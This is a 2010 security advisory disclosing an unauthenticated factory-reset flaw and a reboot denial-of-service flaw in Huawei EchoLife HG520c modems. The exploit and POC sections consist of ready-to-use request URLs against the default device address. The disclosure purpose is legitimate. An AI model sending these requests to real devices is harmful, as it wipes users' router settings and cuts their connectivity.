Huawei EchoLife HG520c Denial of Service & Unauthorized Factory Reset

Huawei EchoLife HG520c Denial of Service & Unauthorized Factory Reset

Posted on May 13 2010   |  Plain text version

Summary

Huawei EchoLife HG520c modems are vulnerable to unauthorized device reset and denial of service vulnerabilities.

Description

# Product Link: http://www.huawei.com/mobileweb/en/products/view.do?id=660
# Firmware Versions: 3.10.18.7-1.0.7.0
# 3.10.18.5-1.0.7.0
# 3.10.18.4
# Software Versions: V100R001B120Telmex
# V100R001B121Telmex
websec Advisory: ws10-09


[Description #1]
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The page '/AutoRestart.html' restores the default configuration and reboots
the device. This page does not require authentication.

[Exploit #1]
=================
From LAN or Client Side, just send a simple GET request to:

http://192.168.1.254/AutoRestart.html



In case of having the remote interface enabled, from remote:

http:///AutoRestart.html
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[Description #2]
=================
The page '/rpLocalDeviceJump.html' reboots the device when the 'index'
variable value has a length of more than 7 characters. Requires
authentication.

[Exploit #2]
=================

http://192.168.1.254/rpLocalDeviceJump.html?index=HAKIM.WS
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Greets: Requiz, LightOS, chr1x, sdc, nitr0us, pcp, Xianur0, Chito, Kike,
House, Aldo, Chewi, Alex, Paco.


[email protected]


http://www.websec.mx

POC

http://192.168.1.254/AutoRestart.html

http://192.168.1.254/rpLocalDeviceJump.html?index=HAKIM.WS


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